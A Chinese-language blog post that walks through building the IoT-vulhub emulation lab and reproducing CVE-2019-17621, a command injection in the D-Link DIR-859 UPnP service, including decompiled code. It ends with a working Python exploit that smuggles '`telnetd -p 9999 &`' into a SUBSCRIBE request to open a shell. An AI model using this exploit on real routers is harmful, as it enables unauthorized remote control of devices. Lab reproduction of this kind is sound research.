0x00 前言 最近在研究路由器漏洞,要是每次分析个路由器都要上闲鱼买一个路由器真的费用有点高,所以在网上找了类似的路由器漏洞环境仿真的平台,运气不错在GitHub上找到一个开源项目IoT-vulhub ,接下来就是记录自己搭建IoT固件漏洞复现环境的过程。
0x01 IoT-vulhub安装 系统环境: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 .............. ..,;:ccc,. kali@kali ......''';lxO. OS: Kali Linux .....''''..........,:ld; Kernel: x86_64 Linux 5.5.0-kali2-amd64 .';;;:::;,,.x, Uptime: 1m ..'''. 0Xxoc:,. ... Packages: 2170 .... ,ONkc;,;cokOdc',. Shell: bash . OMo ':ddo. Resolution: 1688x952 dMc :OO; DE: Xfce 0M. .:o. WM: Xfwm4 ;Wd WM Theme: Kali-Dark ;XO, GTK Theme: Kali-Dark [GTK2] ,d0Odlc;,.. Icon Theme: Flat-Remix-Blue-Dark ..',;:cdOOd::,. Font: Cantarell 11 .:d;.':;. Disk: 20G / 63G (33%) 'd, .' CPU: Intel Core i7-6700 @ 2x 3.408GHz ;l .. GPU: VMware SVGA II Adapter .o RAM: 820MiB / 3912MiB c .' .
安装依赖: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ curl -s https://bootstrap.pypa.io/get-pip.py | sudo python3 $ curl -s https://get.docker.com/ | sh $ sudo service docker start $ sudo docker version $ sudo docker run hello-world $ sudo usermod -aG docker $USER $ docker images $ sudo python3 -m pip install docker-compose
克隆项目 1 2 3 4 5 $ git clone https://github.com/firmianay/IoT-vulhub.git cd IoT-vulhub
构建Docker基础镜像 以下为必须构建的镜像
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ----------------------------系统------------------------------- $ cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 . $ cd baseImage/binwalk && docker build -t firmianay/binwalk . $ cd baseImage/binwalk && vi Dockerfile (修改如下,注释ENTRYPOINT) $ docker build -t firmianay/binwalk:noentry . $ cd baseImage/firmadyne && docker build -t firmianay/firmadyne . $ cd baseImage/firmAE && docker build -t firmianay/firmae . -----------------------------工具------------------------------ $ cd baseImage/buildroot && docker build -t firmianay/buildroot . $ cd baseImage/busybox && docker build -t firmianay/busybox . $ cd baseImage/gdbserver && docker build -t firmianay/gdbserver . $ cd baseImage/qemu-user-static && docker build -t firmianay/qemu-user-static .
0x02 漏洞复现 模拟D-Link DIR-859固件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cd D-Link/CVE-2019-17621/$ docker run --rm -v $PWD /firmware/:/root/firmware firmianay/binwalk -Mer "/root/firmware/DIR822A1_FW103WWb03.bin" $ sudo docker-compose -f docker-compose-firmadyne.yml build $ sudo docker-compose -f docker-compose-firmadyne.yml up $ ssh -D 2345 root@127.0.0.1 -p 1234 代理协议:SOCKS5 代理服务器:127.0.0.1 代理端口:2345
CVE-2019-17621 (命令注入漏洞)分析 1 2 3 描述: DIR-859路由器用了UPNP协议,并且在某处调用fwrite()向文件中添加删除命令`rm -f ".$shell_file."\n"`, 时候出现了漏洞,我们可以将shell_file内容改为反引号包裹的系统命令,来利用命令注入漏洞执行命令。
UPNP协议简介: UPnP全名是Universal Plug and Play,主要是微软在推行的一个标准。 简单的来说,UPnP 最大的愿景就是希望任何设备只要一接上网络,所有在网络上的设备马上就能知道有新设备加入,这些设备彼此之间能互相沟通,更能直接使用或控制它,一切都不需要设定,完全的Plug and Play。
UPnP不需要设备驱动程序,因此使用UPnP建立的网络是介质无关的。
同时UPnP使用标准的TCP/IP和网络协议,使它能够无缝的融入现有网络。
构造UPnP应用程序时可以使用任何语言,并在任何操作系统平台上编译运行。
对于设备的描述,使用HTML表单表述设备控制界面。它既允许设备供应商提供基于浏览器的用户界面和编程控制接口,也允许开发人员定制自己的设备界面。
漏洞所在位置: 二进制可执行文件/htdocs/cgibin
中的genacgi_main()
函数包含了可远程执行代码的漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 undefined4 genacgi_main (void ) {............ iVar7 = (**(code **)(local_18 + -0x7d44 ))(iVar6,"?service=" ,9 ); if (iVar7 != 0 ) { return 0xffffffff ; } iVar7 = (**(code **)(local_18 + -0x7d30 ))(pcVar4,"SUBSCRIBE" ); uri_service = iVar6 + 9 ; .......... pid = getpid (); sprintf (buf8, "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php" ,env_server_id,uri_service,env_http_callback + 7 , http_callbak_uri+ 1 ,time_out ,env_REMOTE_ADDR,"/var/run" ,uri_service,pid); xmldbc_ephp (0 ,0 ,buf8,stdout);........... return 0 ; }
sprintf()格式化字符串,将各种拼接的输出格式化输入到buf8中,主要关注SHELL_FILE
将以格式%s_%d.sh进行传递,主要用于为新的shell脚本命名。 随后由 xmldbc_ephp()函数(最后调用send())将“buffer8”中包含的数据发送给PHP。
1 2 3 4 5 6 7 8 METHOD=SUBSCRIBE INF_UID=(NULL) SERVICE="9" HOST="192.168.0.1:49152" URI=/ServiceProxy27> TIMEOUT=1800 REMOTE="192.168.0.2" SHELL_FILE="/var/run/9_3120.sh"
xmldbc_ephp
函数就不具体分析了,有兴趣的自己可以深入分析下,他大致内容是把buf8的数据传run.NOTIFY.php
处理 缓冲区中的数据,经过xmldbc_ephp处理,由PHP文件run.NOTIFY.php进行处理。
run.NOTIFY.php调用GENA_subscribe_new()
并传递cgibin程序中genacgi_main()函数获得的变量,还包括变量SHELL_FILE
。
GENA_subscribe_new
函数传递SHELL_FILE 到 GENA_notify_init
函数,也是SHELL_FILE最终处理的地方:通过调用 PHP 函数fwrite()创建新文件。
GENA_notify_init
函数中 fwrite() 函数被使用了两次 第一次创建文件,文件名为SHELL_FILE变量。
第二次调用fwrite()向文件中添加 删除命令 “rm -f “.$shell_file.”\n”,(漏洞点触发原因):
进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。
进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。
进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。
构造EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import socketimport osfrom time import sleepdef httpSUB (server, port, shell_file ): print ('\n[*] Connection {host}:{port}' .format (host=server, port=port)) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str (shell_file) + " HTTP/1.0\n" request += "Host: " + str (server) + str (port) + "\n" request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" print ('[*] Sending Payload' ) sleep(1 ) con.connect((socket.gethostbyname(server), port)) con.send(request.encode()) results = con.recv(4096 ) print ('[*] Running Telnetd Service' ) sleep(2 ) print ('[*] Opening Telnet Connection\n' ) os.system('telnet ' + str (server) + ' 9999' ) serverInput = "192.168.0.1" portInput = 49152 httpSUB(serverInput, portInput, '`telnetd -p 9999 &`' )
执行漏洞利用
欢迎各位大佬加群:研究PWN、RE、WEB安全等技巧